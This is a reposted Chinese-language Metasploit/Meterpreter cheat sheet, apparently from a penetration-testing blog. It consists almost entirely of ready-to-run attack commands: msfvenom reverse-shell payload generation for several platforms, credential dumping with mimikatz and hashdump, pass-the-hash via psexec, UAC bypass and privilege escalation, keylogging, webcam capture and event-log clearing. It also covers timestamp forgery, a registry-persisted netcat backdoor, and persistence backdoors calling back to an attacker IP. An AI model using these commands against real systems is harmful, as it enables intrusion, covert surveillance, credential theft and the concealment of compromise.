0x00 Payload生成
Windows·Linux
Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -f exe > 保存路徑/檔案名 Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -f elf > 保存路徑/檔案名
Web
PHP: msfvenom -p php/meterpreter_reverse_tcp lhost=[你的IP] lport=[埠] -f raw > 保存路徑/檔案名.php ASP: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠]-f asp > 保存路徑/檔案名.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[埠]-f raw > 保存路徑/檔案名.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[你的IP] lport=[埠]-f war > 保存路徑/檔案名.war
Android
Android:
msfvenom -p android/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -o 保存路徑/檔案名.apk
0x01 msfvenom命令引數:
1 Options: 2 -p, --payload <payload> 指定需要使用的payload(攻擊荷載),如果需要使用自定義的payload,請使用'-'或者stdin指定 3 -l, --list [module_type] 列出指定模塊的所有可用資源. 模塊型別包括: payloads, encoders, nops, all 4 -n, --nopsled <length> 為payload預先指定一個NOP滑動長度 5 -f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式串列) 6 -e, --encoder [encoder] 指定需要使用的encoder(編碼器) 7 -a, --arch <architecture> 指定payload的目標架構 8 --platform <platform> 指定payload的目標平臺 9 -s, --space <length> 設定有效攻擊荷載的最大長度 10 -b, --bad-chars <list> 設定規避字符集,比如: '\x00\xff' 11 -i, --iterations <count> 指定payload的編碼次數 12 -c, --add-code <path> 指定一個附加的win32 shellcode檔案 13 -x, --template <path> 指定一個自定義的可執行檔案作為模板 14 -k, --keep 保護模板程式的動作,注入的payload作為一個新的行程運行 15 --payload-options 列舉payload的標準選項 16 -o, --out <path> 保存payload 17 -v, --var-name <name> 指定一個自定義的變數,以確定輸出格式 18 --shellest 最小化生成payload 19 -h, --help 查看幫助選項 20 --help-formats 查看msf支持的輸出格式串列
0x02 常用系統命令
sessions #sessions –h 查看幫助 sessions -i <ID值> #進入會話 -k 殺死會話 background #將當前會話放置后臺 run #執行已有的模塊,輸入run后按兩下tab,列出已有的腳本 info #查看已有模塊資訊 getuid # 查看權限 getpid # 獲取當前行程的pid sysinfo # 查看目標機系統資訊 ps # 查看當前活躍行程 kill <PID值> 殺死行程 idletime #查看目標機閑置時間 reboot / shutdown #重啟/關機 shell #進入目標機cmd shell
uictl開關鍵盤/滑鼠
uictl [enable/disable] [keyboard/mouse/all] #開啟或禁止鍵盤/滑鼠 uictl disable mouse #禁用滑鼠 uictl disable keyboard #禁用鍵盤
webcam攝像頭命令
webcam_list #查看攝像頭 webcam_snap #通過攝像頭拍照 webcam_stream #通過攝像頭開啟視頻
execute執行檔案
execute #在目標機中執行檔案 execute -H -i -f cmd.exe # 創建新行程cmd.exe,-H不可見,-i互動
migrate行程遷移
getpid # 獲取當前行程的pid ps # 查看當前活躍行程 migrate <pid值> #將Meterpreter會話移植到指定pid值行程中 kill <pid值> #殺死行程
clearev清除日志
clearev #清除windows中的應用程式日志、系統日志、安全日志
0x03 檔案類命令
基本檔案系統命令
getwd 或者pwd # 查看當前作業目錄 ls cd search -f *pass* # 搜索檔案 -h查看幫助 cat c:\\lltest\\lltestpasswd.txt # 查看檔案內容 upload /tmp/hack.txt C:\\lltest # 上傳檔案到目標機上 download c:\\lltest\\lltestpasswd.txt /tmp/ # 下載檔案到本機上 edit c:\\1.txt #編輯或創建檔案 沒有的話,會新建檔案 rm C:\\lltest\\hack.txt mkdir lltest2 #只能在當前目錄下創建檔案夾 rmdir lltest2 #只能洗掉當前目錄下檔案夾 getlwd 或者 lpwd #操作攻擊者主機 查看當前目錄 lcd /tmp #操作攻擊者主機 切換目錄
timestomp偽造時間戳
timestomp C:// -h #查看幫助 timestomp -v C://2.txt #查看時間戳 timestomp C://2.txt -f C://1.txt #將1.txt的時間戳復制給2.txt
0x04 網路類命令
基本網路命令
ipconfig/ifconfig netstat –ano arp getproxy #查看代理資訊 route #查看路由
portfwd埠轉發
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #將目標機的3389埠轉發到本地6666埠
autoroute添加路由
run autoroute –h #查看幫助 run autoroute -s 192.168.159.0/24 #添加到目標環境網路 run autoroute –p #查看添加的路由
利用arp_scanner、portscan等進行掃描
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #掃描192.168.1.0/24這個網段 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #檢測192.168.1.144是否開啟3389埠
Socks4a代理
autoroute添加完路由后,還可以利用msf自帶的sock4a模塊進行Socks4a代理 msf> use auxiliary/server/socks4a msf > set srvhost 127.0.0.1 msf > set srvport 1080 msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080 最后proxychains 使用Socks4a代理訪
0x05 資訊收集
資訊收集的腳本位于:
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
資訊收集的腳本較多,僅列幾個常用的:
run post/windows/gather/checkvm #是否虛擬機 run post/linux/gather/checkvm #是否虛擬機 run post/windows/gather/forensics/enum_drives #查看磁區 run post/windows/gather/enum_applications #獲取安裝軟體資訊 run post/windows/gather/dumplinks #獲取最近的檔案操作 run post/windows/gather/enum_ie #獲取IE快取 run post/windows/gather/enum_chrome #獲取Chrome快取 run post/windows/gather/enum_patches #補丁資訊 run post/windows/gather/enum_domain #查找域控
0x06 提權
getsystem提權
getsystem
getsystem作業原理:
getsystem創建一個新的Windows服務,設定為SYSTEM運行,當它啟動時連接到一個命名管道,
getsystem產生一個行程,它創建一個命名管道并等待來自該服務的連接,
Windows服務已啟動,導致與命名管道建立連接,
該行程接收連接并呼叫ImpersonateNamedPipeClient,從而為SYSTEM用戶創建模擬令牌,
然后用新收集的SYSTEM模擬令牌產生cmd.exe,并且我們有一個SYSTEM特權行程,
bypassuac
內置多個pypassuac腳本,原理有所不同,使用方法類似,運行后回傳一個新的會話,需要再次執行getsystem獲取系統權限,如:
use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection use windows/local/bypassuac_vbs use windows/local/ask
如使用bypassuac.rb腳本:
msf > use exploit/windows/local/bypassuac msf > set SESSION 2 msf > run
內核漏洞提權
可先利用enum_patches模塊 收集補丁資訊,然后查找可用的exploits進行提權
meterpreter > run post/windows/gather/enum_patches #查看補丁資訊 msf > use exploit/windows/local/ms13_053_schlamperei msf > set SESSION 2 msf > exploit
0x07 mimikatz抓取密碼
load mimikatz #help mimikatz 查看幫助 wdigest #獲取Wdigest密碼 mimikatz_command -f samdump::hashes #執行mimikatz原始命令 mimikatz_command -f sekurlsa::searchPasswords
0x08 遠程桌面&截屏
enumdesktops #查看可用的桌面 getdesktop #獲取當前meterpreter 關聯的桌面 set_desktop #設定meterpreter關聯的桌面 -h查看幫助 screenshot #截屏 use espia #或者使用espia模塊截屏 然后輸入screengrab run vnc #使用vnc遠程桌面連接
0x09 開啟rdp&添加用戶
getgui命令
run getgui –h #查看幫助 run getgui -e #開啟遠程桌面 run getgui -u lltest2 -p 123456 #添加用戶 run getgui -f 6661 –e #3389埠轉發到6661
getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdp
getgui添加用戶時,有時雖然可以成功添加用戶,但是沒有權限通過遠程桌面登陸
enable_rdp腳本
run post/windows/manage/enable_rdp #開啟遠程桌面 run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用戶 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #將3389埠轉發到6662
腳本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通過enable_rdp.rb腳本可知:開啟rdp是通過reg修改注冊表;添加用戶是呼叫cmd.exe 通過net user添加;埠轉發是利用的portfwd命令
0x10 鍵盤記錄
keyscan_start #開始鍵盤記錄 keyscan_dump #匯出記錄資料 keyscan_stop #結束鍵盤記錄
0x11 sniffer抓包
use sniffer sniffer_interfaces #查看網卡 sniffer_start 2 #選擇網卡 開始抓包 sniffer_stats 2 #查看狀態 sniffer_dump 2 /tmp/lltest.pcap #匯出pcap資料包 sniffer_stop 2 #停止抓包
0x12 注冊表操作
reg –h -d 注冊表中值的資料. -k 注冊表鍵路徑 -v 注冊表鍵名稱 enumkey 列舉可獲得的鍵 setval 設定鍵值 queryval 查詢鍵值資料
注冊表設定nc后門
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳nc reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #列舉run下的key reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設定鍵值 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看鍵值 nc -v 192.168.159.144 443 #攻擊者連接nc后門
0x13 令牌操縱
incognito假冒令牌
use incognito #help incognito 查看幫助 list_tokens -u #查看可用的token impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\ execute -f cmd.exe -i –t # -t 使用假冒的token 執行 或者直接shell rev2self #回傳原始token
steal_token竊取令牌
steal_token <pid值> #從指定行程中竊取token 先ps drop_token #洗掉竊取的token
0x14 哈希利用
獲取哈希
run post/windows/gather/smart_hashdump #從SAM匯出密碼哈希 #需要SYSTEM權限
PSExec哈希傳遞
通過smart_hashdump獲取用戶哈希后,可以利用psexec模塊進行哈希傳遞攻擊
前提條件:①開啟445埠 smb服務;②開啟admin$共享
msf > use exploit/windows/smb/psexec msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.159.134 msf > set LPORT 443 msf > set RHOST 192.168.159.144 msf >set SMBUser Administrator msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c msf >set SMBDomain WORKGROUP #域用戶需要設定SMBDomain msf >exploit
0x15 添加后門維權
metasploit自帶的后門有兩種方式啟動的,一種是通過啟動項啟動(persistence),一種是通過服務啟動(metsvc),另外還可以通過persistence_exe自定義后門檔案,
persistence啟動項后門
在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
在注冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啟動項
run persistence –h #查看幫助 run persistence -X -i 5 -p 6661 -r 192.168.159.134 #-X指定啟動的方式為開機自啟動,-i反向連接的時間間隔(5s) –r 指定攻擊者的ip
連接后門
msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.159.134 msf > set LPORT 6661 msf > exploit
metsvc服務后門
在C:\Users***\AppData\Local\Temp\上傳了三個檔案(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通過服務啟動,服務名為meterpreter
run metsvc –h # 查看幫助 run metsvc –A #自動安裝后門
連接后門
msf > use exploit/multi/handler msf > set payload windows/metsvc_bind_tcp msf > set RHOST 192.168.159.144 msf > set LPORT 31337 msf > exploit
公眾號:靶機世界

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/55233.html
標籤:其他
上一篇:命令執行漏洞
下一篇:CSRF漏洞原理淺談
